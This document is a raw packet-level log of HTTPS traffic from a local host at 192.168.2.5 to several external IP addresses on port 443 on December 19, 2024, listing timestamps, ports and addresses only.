Dec 19, 2024 15:13:33.511719942 CET	49716	443	192.168.2.5	170.106.97.198
Dec 19, 2024 15:13:33.511770010 CET	49716	443	192.168.2.5	170.106.97.198
Dec 19, 2024 15:13:33.524132967 CET	443	49716	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:33.524178028 CET	443	49716	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:33.524194956 CET	49716	443	192.168.2.5	170.106.97.198
Dec 19, 2024 15:13:33.524204016 CET	443	49716	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:33.524256945 CET	49716	443	192.168.2.5	170.106.97.198
Dec 19, 2024 15:13:33.524256945 CET	49716	443	192.168.2.5	170.106.97.198
Dec 19, 2024 15:13:33.533262968 CET	443	49716	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:33.533341885 CET	443	49716	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:33.533354998 CET	49716	443	192.168.2.5	170.106.97.198
Dec 19, 2024 15:13:33.533374071 CET	443	49716	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:33.533416986 CET	49716	443	192.168.2.5	170.106.97.198
Dec 19, 2024 15:13:33.533416986 CET	49716	443	192.168.2.5	170.106.97.198
Dec 19, 2024 15:13:33.533998013 CET	443	49721	151.101.2.137	192.168.2.5
Dec 19, 2024 15:13:33.534300089 CET	443	49721	151.101.2.137	192.168.2.5
Dec 19, 2024 15:13:33.534364939 CET	49721	443	192.168.2.5	151.101.2.137
Dec 19, 2024 15:13:33.534396887 CET	443	49721	151.101.2.137	192.168.2.5
Dec 19, 2024 15:13:33.534531116 CET	443	49721	151.101.2.137	192.168.2.5
Dec 19, 2024 15:13:33.534615040 CET	49721	443	192.168.2.5	151.101.2.137
Dec 19, 2024 15:13:33.534630060 CET	443	49721	151.101.2.137	192.168.2.5
Dec 19, 2024 15:13:33.537152052 CET	443	49716	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:33.537259102 CET	49716	443	192.168.2.5	170.106.97.198
Dec 19, 2024 15:13:33.537265062 CET	443	49716	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:33.540745974 CET	443	49719	104.18.10.207	192.168.2.5
Dec 19, 2024 15:13:33.540908098 CET	443	49719	104.18.10.207	192.168.2.5
Dec 19, 2024 15:13:33.540985107 CET	49719	443	192.168.2.5	104.18.10.207
Dec 19, 2024 15:13:33.541002035 CET	443	49719	104.18.10.207	192.168.2.5
Dec 19, 2024 15:13:33.541090965 CET	443	49719	104.18.10.207	192.168.2.5
Dec 19, 2024 15:13:33.541199923 CET	443	49719	104.18.10.207	192.168.2.5
Dec 19, 2024 15:13:33.541253090 CET	49719	443	192.168.2.5	104.18.10.207
Dec 19, 2024 15:13:33.541268110 CET	443	49719	104.18.10.207	192.168.2.5
Dec 19, 2024 15:13:33.541316032 CET	49719	443	192.168.2.5	104.18.10.207
Dec 19, 2024 15:13:33.542665958 CET	443	49716	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:33.542747974 CET	49716	443	192.168.2.5	170.106.97.198
Dec 19, 2024 15:13:33.542753935 CET	443	49716	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:33.546014071 CET	443	49721	151.101.2.137	192.168.2.5
Dec 19, 2024 15:13:33.546077013 CET	49721	443	192.168.2.5	151.101.2.137
Dec 19, 2024 15:13:33.546089888 CET	443	49721	151.101.2.137	192.168.2.5
Dec 19, 2024 15:13:33.547710896 CET	443	49716	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:33.547771931 CET	49716	443	192.168.2.5	170.106.97.198
Dec 19, 2024 15:13:33.547777891 CET	443	49716	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:33.548675060 CET	443	49719	104.18.10.207	192.168.2.5
Dec 19, 2024 15:13:33.554478884 CET	443	49721	151.101.2.137	192.168.2.5
Dec 19, 2024 15:13:33.554546118 CET	49721	443	192.168.2.5	151.101.2.137
Dec 19, 2024 15:13:33.554559946 CET	443	49721	151.101.2.137	192.168.2.5
Dec 19, 2024 15:13:33.556531906 CET	443	49716	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:33.556576014 CET	443	49716	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:33.556608915 CET	49716	443	192.168.2.5	170.106.97.198
Dec 19, 2024 15:13:33.556616068 CET	443	49716	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:33.556651115 CET	49716	443	192.168.2.5	170.106.97.198
Dec 19, 2024 15:13:33.557063103 CET	443	49719	104.18.10.207	192.168.2.5
Dec 19, 2024 15:13:33.557117939 CET	49719	443	192.168.2.5	104.18.10.207
Dec 19, 2024 15:13:33.557133913 CET	443	49719	104.18.10.207	192.168.2.5
Dec 19, 2024 15:13:33.565361023 CET	443	49719	104.18.10.207	192.168.2.5
Dec 19, 2024 15:13:33.565423965 CET	49719	443	192.168.2.5	104.18.10.207
Dec 19, 2024 15:13:33.565455914 CET	443	49719	104.18.10.207	192.168.2.5
Dec 19, 2024 15:13:33.566545010 CET	443	49716	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:33.566601038 CET	443	49716	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:33.566628933 CET	49716	443	192.168.2.5	170.106.97.198
Dec 19, 2024 15:13:33.566634893 CET	443	49716	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:33.566664934 CET	49716	443	192.168.2.5	170.106.97.198
Dec 19, 2024 15:13:33.576698065 CET	443	49716	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:33.576739073 CET	443	49716	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:33.576800108 CET	49716	443	192.168.2.5	170.106.97.198
Dec 19, 2024 15:13:33.576800108 CET	49716	443	192.168.2.5	170.106.97.198
Dec 19, 2024 15:13:33.576807022 CET	443	49716	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:33.608756065 CET	49719	443	192.168.2.5	104.18.10.207
Dec 19, 2024 15:13:33.608756065 CET	49721	443	192.168.2.5	151.101.2.137
Dec 19, 2024 15:13:33.608776093 CET	443	49719	104.18.10.207	192.168.2.5
Dec 19, 2024 15:13:33.608800888 CET	443	49721	151.101.2.137	192.168.2.5
Dec 19, 2024 15:13:33.624186039 CET	49716	443	192.168.2.5	170.106.97.198
Dec 19, 2024 15:13:33.654612064 CET	443	49721	151.101.2.137	192.168.2.5
Dec 19, 2024 15:13:33.654670000 CET	49721	443	192.168.2.5	151.101.2.137
Dec 19, 2024 15:13:33.654685020 CET	443	49721	151.101.2.137	192.168.2.5
Dec 19, 2024 15:13:33.659485102 CET	49719	443	192.168.2.5	104.18.10.207
Dec 19, 2024 15:13:33.693581104 CET	443	49716	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:33.693604946 CET	443	49716	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:33.693643093 CET	443	49716	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:33.693702936 CET	49716	443	192.168.2.5	170.106.97.198
Dec 19, 2024 15:13:33.693702936 CET	49716	443	192.168.2.5	170.106.97.198
Dec 19, 2024 15:13:33.693717957 CET	443	49716	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:33.693799019 CET	49716	443	192.168.2.5	170.106.97.198
Dec 19, 2024 15:13:33.693804979 CET	443	49716	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:33.697089911 CET	443	49716	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:33.697156906 CET	49716	443	192.168.2.5	170.106.97.198
Dec 19, 2024 15:13:33.697163105 CET	443	49716	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:33.700054884 CET	443	49716	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:33.700134039 CET	49716	443	192.168.2.5	170.106.97.198
Dec 19, 2024 15:13:33.700139999 CET	443	49716	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:33.703628063 CET	49721	443	192.168.2.5	151.101.2.137
Dec 19, 2024 15:13:33.703676939 CET	443	49721	151.101.2.137	192.168.2.5
Dec 19, 2024 15:13:33.704158068 CET	443	49716	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:33.704421997 CET	49716	443	192.168.2.5	170.106.97.198
Dec 19, 2024 15:13:33.704430103 CET	443	49716	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:33.707559109 CET	443	49716	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:33.707737923 CET	49716	443	192.168.2.5	170.106.97.198
Dec 19, 2024 15:13:33.707746029 CET	443	49716	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:33.710760117 CET	443	49716	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:33.710999966 CET	49716	443	192.168.2.5	170.106.97.198
Dec 19, 2024 15:13:33.711005926 CET	443	49716	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:33.714540958 CET	443	49716	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:33.714663029 CET	49716	443	192.168.2.5	170.106.97.198
Dec 19, 2024 15:13:33.714672089 CET	443	49716	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:33.717660904 CET	443	49716	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:33.717768908 CET	49716	443	192.168.2.5	170.106.97.198
Dec 19, 2024 15:13:33.717776060 CET	443	49716	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:33.724550009 CET	443	49716	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:33.724596024 CET	443	49716	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:33.724648952 CET	49716	443	192.168.2.5	170.106.97.198
Dec 19, 2024 15:13:33.724657059 CET	443	49716	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:33.724771976 CET	49716	443	192.168.2.5	170.106.97.198
Dec 19, 2024 15:13:33.729094982 CET	443	49721	151.101.2.137	192.168.2.5
Dec 19, 2024 15:13:33.729187965 CET	49721	443	192.168.2.5	151.101.2.137
Dec 19, 2024 15:13:33.729217052 CET	443	49721	151.101.2.137	192.168.2.5
Dec 19, 2024 15:13:33.731780052 CET	443	49716	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:33.731823921 CET	443	49716	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:33.731874943 CET	49716	443	192.168.2.5	170.106.97.198
Dec 19, 2024 15:13:33.731884003 CET	443	49716	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:33.732033014 CET	49716	443	192.168.2.5	170.106.97.198
Dec 19, 2024 15:13:33.732536077 CET	443	49719	104.18.10.207	192.168.2.5
Dec 19, 2024 15:13:33.736378908 CET	443	49719	104.18.10.207	192.168.2.5
Dec 19, 2024 15:13:33.736435890 CET	443	49719	104.18.10.207	192.168.2.5
Dec 19, 2024 15:13:33.736471891 CET	49719	443	192.168.2.5	104.18.10.207
Dec 19, 2024 15:13:33.736493111 CET	443	49719	104.18.10.207	192.168.2.5
Dec 19, 2024 15:13:33.736587048 CET	49719	443	192.168.2.5	104.18.10.207
Dec 19, 2024 15:13:33.736742020 CET	443	49721	151.101.2.137	192.168.2.5
Dec 19, 2024 15:13:33.736809015 CET	49721	443	192.168.2.5	151.101.2.137
Dec 19, 2024 15:13:33.736823082 CET	443	49721	151.101.2.137	192.168.2.5
Dec 19, 2024 15:13:33.739001989 CET	443	49716	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:33.739044905 CET	443	49716	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:33.739093065 CET	49716	443	192.168.2.5	170.106.97.198
Dec 19, 2024 15:13:33.739101887 CET	443	49716	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:33.739145041 CET	49716	443	192.168.2.5	170.106.97.198
Dec 19, 2024 15:13:33.742347002 CET	443	49719	104.18.10.207	192.168.2.5
Dec 19, 2024 15:13:33.747088909 CET	443	49721	151.101.2.137	192.168.2.5
Dec 19, 2024 15:13:33.747153997 CET	49721	443	192.168.2.5	151.101.2.137
Dec 19, 2024 15:13:33.747169018 CET	443	49721	151.101.2.137	192.168.2.5
Dec 19, 2024 15:13:33.750416994 CET	443	49719	104.18.10.207	192.168.2.5
Dec 19, 2024 15:13:33.750497103 CET	49719	443	192.168.2.5	104.18.10.207
Dec 19, 2024 15:13:33.750513077 CET	443	49719	104.18.10.207	192.168.2.5
Dec 19, 2024 15:13:33.754736900 CET	443	49721	151.101.2.137	192.168.2.5
Dec 19, 2024 15:13:33.754811049 CET	49721	443	192.168.2.5	151.101.2.137
Dec 19, 2024 15:13:33.754825115 CET	443	49721	151.101.2.137	192.168.2.5
Dec 19, 2024 15:13:33.758233070 CET	443	49719	104.18.10.207	192.168.2.5
Dec 19, 2024 15:13:33.758292913 CET	49719	443	192.168.2.5	104.18.10.207
Dec 19, 2024 15:13:33.758311033 CET	443	49719	104.18.10.207	192.168.2.5
Dec 19, 2024 15:13:33.758968115 CET	443	49718	104.17.24.14	192.168.2.5
Dec 19, 2024 15:13:33.759104013 CET	443	49718	104.17.24.14	192.168.2.5
Dec 19, 2024 15:13:33.759195089 CET	49718	443	192.168.2.5	104.17.24.14
Dec 19, 2024 15:13:33.759201050 CET	443	49718	104.17.24.14	192.168.2.5
Dec 19, 2024 15:13:33.759232044 CET	443	49718	104.17.24.14	192.168.2.5
Dec 19, 2024 15:13:33.759335041 CET	49718	443	192.168.2.5	104.17.24.14
Dec 19, 2024 15:13:33.759386063 CET	443	49718	104.17.24.14	192.168.2.5
Dec 19, 2024 15:13:33.762285948 CET	443	49721	151.101.2.137	192.168.2.5
Dec 19, 2024 15:13:33.762389898 CET	443	49721	151.101.2.137	192.168.2.5
Dec 19, 2024 15:13:33.762434959 CET	49721	443	192.168.2.5	151.101.2.137
Dec 19, 2024 15:13:33.762451887 CET	443	49721	151.101.2.137	192.168.2.5
Dec 19, 2024 15:13:33.762593985 CET	49721	443	192.168.2.5	151.101.2.137
Dec 19, 2024 15:13:33.766010046 CET	443	49719	104.18.10.207	192.168.2.5
Dec 19, 2024 15:13:33.766078949 CET	49719	443	192.168.2.5	104.18.10.207
Dec 19, 2024 15:13:33.766093969 CET	443	49719	104.18.10.207	192.168.2.5
Dec 19, 2024 15:13:33.766926050 CET	443	49718	104.17.24.14	192.168.2.5
Dec 19, 2024 15:13:33.767038107 CET	49718	443	192.168.2.5	104.17.24.14
Dec 19, 2024 15:13:33.767045021 CET	443	49718	104.17.24.14	192.168.2.5
Dec 19, 2024 15:13:33.770004988 CET	443	49721	151.101.2.137	192.168.2.5
Dec 19, 2024 15:13:33.773946047 CET	443	49719	104.18.10.207	192.168.2.5
Dec 19, 2024 15:13:33.773993015 CET	443	49720	104.18.10.207	192.168.2.5
Dec 19, 2024 15:13:33.774013996 CET	49719	443	192.168.2.5	104.18.10.207
Dec 19, 2024 15:13:33.774036884 CET	443	49719	104.18.10.207	192.168.2.5
Dec 19, 2024 15:13:33.774132967 CET	443	49720	104.18.10.207	192.168.2.5
Dec 19, 2024 15:13:33.774189949 CET	49720	443	192.168.2.5	104.18.10.207
Dec 19, 2024 15:13:33.774218082 CET	443	49720	104.18.10.207	192.168.2.5
Dec 19, 2024 15:13:33.774308920 CET	443	49720	104.18.10.207	192.168.2.5
Dec 19, 2024 15:13:33.774362087 CET	49720	443	192.168.2.5	104.18.10.207
Dec 19, 2024 15:13:33.774370909 CET	443	49720	104.18.10.207	192.168.2.5
Dec 19, 2024 15:13:33.775342941 CET	443	49718	104.17.24.14	192.168.2.5
Dec 19, 2024 15:13:33.775413990 CET	49718	443	192.168.2.5	104.17.24.14
Dec 19, 2024 15:13:33.775424957 CET	443	49718	104.17.24.14	192.168.2.5
Dec 19, 2024 15:13:33.777610064 CET	443	49721	151.101.2.137	192.168.2.5
Dec 19, 2024 15:13:33.777744055 CET	49721	443	192.168.2.5	151.101.2.137
Dec 19, 2024 15:13:33.777756929 CET	443	49721	151.101.2.137	192.168.2.5
Dec 19, 2024 15:13:33.780476093 CET	49716	443	192.168.2.5	170.106.97.198
Dec 19, 2024 15:13:33.781927109 CET	443	49720	104.18.10.207	192.168.2.5
Dec 19, 2024 15:13:33.781997919 CET	49720	443	192.168.2.5	104.18.10.207
Dec 19, 2024 15:13:33.782006025 CET	443	49720	104.18.10.207	192.168.2.5
Dec 19, 2024 15:13:33.783957005 CET	443	49718	104.17.24.14	192.168.2.5
Dec 19, 2024 15:13:33.784013033 CET	49718	443	192.168.2.5	104.17.24.14
Dec 19, 2024 15:13:33.784020901 CET	443	49718	104.17.24.14	192.168.2.5
Dec 19, 2024 15:13:33.785237074 CET	443	49721	151.101.2.137	192.168.2.5
Dec 19, 2024 15:13:33.785320044 CET	49721	443	192.168.2.5	151.101.2.137
Dec 19, 2024 15:13:33.785332918 CET	443	49721	151.101.2.137	192.168.2.5
Dec 19, 2024 15:13:33.789448023 CET	443	49719	104.18.10.207	192.168.2.5
Dec 19, 2024 15:13:33.789535999 CET	49719	443	192.168.2.5	104.18.10.207
Dec 19, 2024 15:13:33.789540052 CET	443	49719	104.18.10.207	192.168.2.5
Dec 19, 2024 15:13:33.789568901 CET	443	49719	104.18.10.207	192.168.2.5
Dec 19, 2024 15:13:33.789627075 CET	49719	443	192.168.2.5	104.18.10.207
Dec 19, 2024 15:13:33.790220976 CET	443	49720	104.18.10.207	192.168.2.5
Dec 19, 2024 15:13:33.790282965 CET	49720	443	192.168.2.5	104.18.10.207
Dec 19, 2024 15:13:33.790290117 CET	443	49720	104.18.10.207	192.168.2.5
Dec 19, 2024 15:13:33.792859077 CET	443	49721	151.101.2.137	192.168.2.5
Dec 19, 2024 15:13:33.792917967 CET	49721	443	192.168.2.5	151.101.2.137
Dec 19, 2024 15:13:33.792931080 CET	443	49721	151.101.2.137	192.168.2.5
Dec 19, 2024 15:13:33.797235966 CET	443	49719	104.18.10.207	192.168.2.5
Dec 19, 2024 15:13:33.798621893 CET	443	49720	104.18.10.207	192.168.2.5
Dec 19, 2024 15:13:33.798671961 CET	49720	443	192.168.2.5	104.18.10.207
Dec 19, 2024 15:13:33.798679113 CET	443	49720	104.18.10.207	192.168.2.5
Dec 19, 2024 15:13:33.798857927 CET	443	49721	151.101.2.137	192.168.2.5
Dec 19, 2024 15:13:33.798916101 CET	49721	443	192.168.2.5	151.101.2.137
Dec 19, 2024 15:13:33.798929930 CET	443	49721	151.101.2.137	192.168.2.5
Dec 19, 2024 15:13:33.805402040 CET	443	49719	104.18.10.207	192.168.2.5
Dec 19, 2024 15:13:33.805468082 CET	49719	443	192.168.2.5	104.18.10.207
Dec 19, 2024 15:13:33.805484056 CET	443	49719	104.18.10.207	192.168.2.5
Dec 19, 2024 15:13:33.810379982 CET	443	49721	151.101.2.137	192.168.2.5
Dec 19, 2024 15:13:33.810483932 CET	443	49721	151.101.2.137	192.168.2.5
Dec 19, 2024 15:13:33.810544968 CET	49721	443	192.168.2.5	151.101.2.137
Dec 19, 2024 15:13:33.810559034 CET	443	49721	151.101.2.137	192.168.2.5
Dec 19, 2024 15:13:33.810611963 CET	49721	443	192.168.2.5	151.101.2.137
Dec 19, 2024 15:13:33.813040018 CET	443	49719	104.18.10.207	192.168.2.5
Dec 19, 2024 15:13:33.813195944 CET	49719	443	192.168.2.5	104.18.10.207
Dec 19, 2024 15:13:33.813210011 CET	443	49719	104.18.10.207	192.168.2.5
Dec 19, 2024 15:13:33.816272974 CET	443	49721	151.101.2.137	192.168.2.5
Dec 19, 2024 15:13:33.820847988 CET	443	49719	104.18.10.207	192.168.2.5
Dec 19, 2024 15:13:33.820923090 CET	49719	443	192.168.2.5	104.18.10.207
Dec 19, 2024 15:13:33.820939064 CET	443	49719	104.18.10.207	192.168.2.5
Dec 19, 2024 15:13:33.828699112 CET	443	49719	104.18.10.207	192.168.2.5
Dec 19, 2024 15:13:33.828785896 CET	49719	443	192.168.2.5	104.18.10.207
Dec 19, 2024 15:13:33.828800917 CET	443	49719	104.18.10.207	192.168.2.5
Dec 19, 2024 15:13:33.836407900 CET	443	49719	104.18.10.207	192.168.2.5
Dec 19, 2024 15:13:33.836592913 CET	49718	443	192.168.2.5	104.17.24.14
Dec 19, 2024 15:13:33.836600065 CET	443	49718	104.17.24.14	192.168.2.5
Dec 19, 2024 15:13:33.836631060 CET	49719	443	192.168.2.5	104.18.10.207
Dec 19, 2024 15:13:33.837755919 CET	49719	443	192.168.2.5	104.18.10.207
Dec 19, 2024 15:13:33.837785959 CET	443	49719	104.18.10.207	192.168.2.5
Dec 19, 2024 15:13:33.851574898 CET	49720	443	192.168.2.5	104.18.10.207
Dec 19, 2024 15:13:33.851596117 CET	443	49720	104.18.10.207	192.168.2.5
Dec 19, 2024 15:13:33.859527111 CET	49721	443	192.168.2.5	151.101.2.137
Dec 19, 2024 15:13:33.881831884 CET	443	49716	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:33.881881952 CET	443	49716	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:33.881912947 CET	49716	443	192.168.2.5	170.106.97.198
Dec 19, 2024 15:13:33.881931067 CET	443	49716	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:33.881949902 CET	49716	443	192.168.2.5	170.106.97.198
Dec 19, 2024 15:13:33.881958961 CET	443	49716	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:33.882002115 CET	49716	443	192.168.2.5	170.106.97.198
Dec 19, 2024 15:13:33.885071039 CET	443	49716	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:33.885149002 CET	49716	443	192.168.2.5	170.106.97.198
Dec 19, 2024 15:13:33.885154963 CET	443	49716	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:33.890361071 CET	49718	443	192.168.2.5	104.17.24.14
Dec 19, 2024 15:13:33.890367985 CET	443	49718	104.17.24.14	192.168.2.5
Dec 19, 2024 15:13:33.892371893 CET	443	49716	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:33.892417908 CET	443	49716	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:33.892461061 CET	49716	443	192.168.2.5	170.106.97.198
Dec 19, 2024 15:13:33.892467976 CET	443	49716	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:33.892501116 CET	49716	443	192.168.2.5	170.106.97.198
Dec 19, 2024 15:13:33.895307064 CET	443	49716	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:33.895401955 CET	49716	443	192.168.2.5	170.106.97.198
Dec 19, 2024 15:13:33.895409107 CET	443	49716	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:33.897365093 CET	443	49716	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:33.897459984 CET	49716	443	192.168.2.5	170.106.97.198
Dec 19, 2024 15:13:33.897459984 CET	49716	443	192.168.2.5	170.106.97.198
Dec 19, 2024 15:13:33.897468090 CET	443	49716	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:33.897537947 CET	443	49716	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:33.897599936 CET	49716	443	192.168.2.5	170.106.97.198
Dec 19, 2024 15:13:33.897799969 CET	49716	443	192.168.2.5	170.106.97.198
Dec 19, 2024 15:13:33.897809029 CET	443	49716	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:33.905874968 CET	49720	443	192.168.2.5	104.18.10.207
Dec 19, 2024 15:13:33.905896902 CET	443	49720	104.18.10.207	192.168.2.5
Dec 19, 2024 15:13:33.931708097 CET	49718	443	192.168.2.5	104.17.24.14
Dec 19, 2024 15:13:33.937320948 CET	443	49721	151.101.2.137	192.168.2.5
Dec 19, 2024 15:13:33.937347889 CET	443	49721	151.101.2.137	192.168.2.5
Dec 19, 2024 15:13:33.937366962 CET	443	49721	151.101.2.137	192.168.2.5
Dec 19, 2024 15:13:33.937393904 CET	49721	443	192.168.2.5	151.101.2.137
Dec 19, 2024 15:13:33.937419891 CET	49721	443	192.168.2.5	151.101.2.137
Dec 19, 2024 15:13:33.937469959 CET	443	49721	151.101.2.137	192.168.2.5
Dec 19, 2024 15:13:33.937488079 CET	443	49721	151.101.2.137	192.168.2.5
Dec 19, 2024 15:13:33.937503099 CET	443	49721	151.101.2.137	192.168.2.5
Dec 19, 2024 15:13:33.937525034 CET	49721	443	192.168.2.5	151.101.2.137
Dec 19, 2024 15:13:33.937542915 CET	49721	443	192.168.2.5	151.101.2.137
Dec 19, 2024 15:13:33.937561035 CET	49721	443	192.168.2.5	151.101.2.137
Dec 19, 2024 15:13:33.945281029 CET	443	49721	151.101.2.137	192.168.2.5
Dec 19, 2024 15:13:33.945301056 CET	443	49721	151.101.2.137	192.168.2.5
Dec 19, 2024 15:13:33.945357084 CET	49721	443	192.168.2.5	151.101.2.137
Dec 19, 2024 15:13:33.945370913 CET	443	49721	151.101.2.137	192.168.2.5
Dec 19, 2024 15:13:33.945533991 CET	49721	443	192.168.2.5	151.101.2.137
Dec 19, 2024 15:13:33.945549011 CET	443	49721	151.101.2.137	192.168.2.5
Dec 19, 2024 15:13:33.945573092 CET	49721	443	192.168.2.5	151.101.2.137
Dec 19, 2024 15:13:33.945599079 CET	49721	443	192.168.2.5	151.101.2.137
Dec 19, 2024 15:13:33.945616007 CET	49721	443	192.168.2.5	151.101.2.137
Dec 19, 2024 15:13:33.945627928 CET	443	49721	151.101.2.137	192.168.2.5
Dec 19, 2024 15:13:33.945781946 CET	49721	443	192.168.2.5	151.101.2.137
Dec 19, 2024 15:13:33.950634956 CET	443	49718	104.17.24.14	192.168.2.5
Dec 19, 2024 15:13:33.953804970 CET	49720	443	192.168.2.5	104.18.10.207
Dec 19, 2024 15:13:33.954513073 CET	443	49718	104.17.24.14	192.168.2.5
Dec 19, 2024 15:13:33.954683065 CET	49718	443	192.168.2.5	104.17.24.14
Dec 19, 2024 15:13:33.954689980 CET	443	49718	104.17.24.14	192.168.2.5
Dec 19, 2024 15:13:33.954758883 CET	443	49718	104.17.24.14	192.168.2.5
Dec 19, 2024 15:13:33.954916000 CET	49718	443	192.168.2.5	104.17.24.14
Dec 19, 2024 15:13:33.955173016 CET	49718	443	192.168.2.5	104.17.24.14
Dec 19, 2024 15:13:33.955178022 CET	443	49718	104.17.24.14	192.168.2.5
Dec 19, 2024 15:13:33.965713024 CET	443	49720	104.18.10.207	192.168.2.5
Dec 19, 2024 15:13:33.970212936 CET	443	49722	172.217.19.228	192.168.2.5
Dec 19, 2024 15:13:33.970561028 CET	49722	443	192.168.2.5	172.217.19.228
Dec 19, 2024 15:13:33.970624924 CET	443	49722	172.217.19.228	192.168.2.5
Dec 19, 2024 15:13:33.970877886 CET	443	49720	104.18.10.207	192.168.2.5
Dec 19, 2024 15:13:33.970942020 CET	49720	443	192.168.2.5	104.18.10.207
Dec 19, 2024 15:13:33.970959902 CET	443	49720	104.18.10.207	192.168.2.5
Dec 19, 2024 15:13:33.971743107 CET	443	49722	172.217.19.228	192.168.2.5
Dec 19, 2024 15:13:33.971823931 CET	49722	443	192.168.2.5	172.217.19.228
Dec 19, 2024 15:13:33.972946882 CET	49722	443	192.168.2.5	172.217.19.228
Dec 19, 2024 15:13:33.973026037 CET	443	49722	172.217.19.228	192.168.2.5
Dec 19, 2024 15:13:33.979123116 CET	443	49720	104.18.10.207	192.168.2.5
Dec 19, 2024 15:13:33.979192972 CET	49720	443	192.168.2.5	104.18.10.207
Dec 19, 2024 15:13:33.979202986 CET	443	49720	104.18.10.207	192.168.2.5
Dec 19, 2024 15:13:33.986756086 CET	443	49720	104.18.10.207	192.168.2.5
Dec 19, 2024 15:13:33.986829996 CET	49720	443	192.168.2.5	104.18.10.207
Dec 19, 2024 15:13:33.986835957 CET	443	49720	104.18.10.207	192.168.2.5
Dec 19, 2024 15:13:33.994405985 CET	443	49720	104.18.10.207	192.168.2.5
Dec 19, 2024 15:13:33.994460106 CET	49720	443	192.168.2.5	104.18.10.207
Dec 19, 2024 15:13:33.994467974 CET	443	49720	104.18.10.207	192.168.2.5
Dec 19, 2024 15:13:34.009908915 CET	443	49720	104.18.10.207	192.168.2.5
Dec 19, 2024 15:13:34.009969950 CET	49720	443	192.168.2.5	104.18.10.207
Dec 19, 2024 15:13:34.009975910 CET	443	49720	104.18.10.207	192.168.2.5
Dec 19, 2024 15:13:34.015474081 CET	49722	443	192.168.2.5	172.217.19.228
Dec 19, 2024 15:13:34.015494108 CET	443	49722	172.217.19.228	192.168.2.5
Dec 19, 2024 15:13:34.017656088 CET	443	49720	104.18.10.207	192.168.2.5
Dec 19, 2024 15:13:34.017714977 CET	49720	443	192.168.2.5	104.18.10.207
Dec 19, 2024 15:13:34.017720938 CET	443	49720	104.18.10.207	192.168.2.5
Dec 19, 2024 15:13:34.025485992 CET	443	49720	104.18.10.207	192.168.2.5
Dec 19, 2024 15:13:34.025588036 CET	443	49720	104.18.10.207	192.168.2.5
Dec 19, 2024 15:13:34.025690079 CET	49720	443	192.168.2.5	104.18.10.207
Dec 19, 2024 15:13:34.025696993 CET	443	49720	104.18.10.207	192.168.2.5
Dec 19, 2024 15:13:34.025746107 CET	49720	443	192.168.2.5	104.18.10.207
Dec 19, 2024 15:13:34.033324003 CET	443	49720	104.18.10.207	192.168.2.5
Dec 19, 2024 15:13:34.040559053 CET	443	49720	104.18.10.207	192.168.2.5
Dec 19, 2024 15:13:34.040641069 CET	49720	443	192.168.2.5	104.18.10.207
Dec 19, 2024 15:13:34.040649891 CET	443	49720	104.18.10.207	192.168.2.5
Dec 19, 2024 15:13:34.048017979 CET	443	49720	104.18.10.207	192.168.2.5
Dec 19, 2024 15:13:34.049854994 CET	49720	443	192.168.2.5	104.18.10.207
Dec 19, 2024 15:13:34.049864054 CET	443	49720	104.18.10.207	192.168.2.5
Dec 19, 2024 15:13:34.053822041 CET	49726	443	192.168.2.5	170.106.97.198
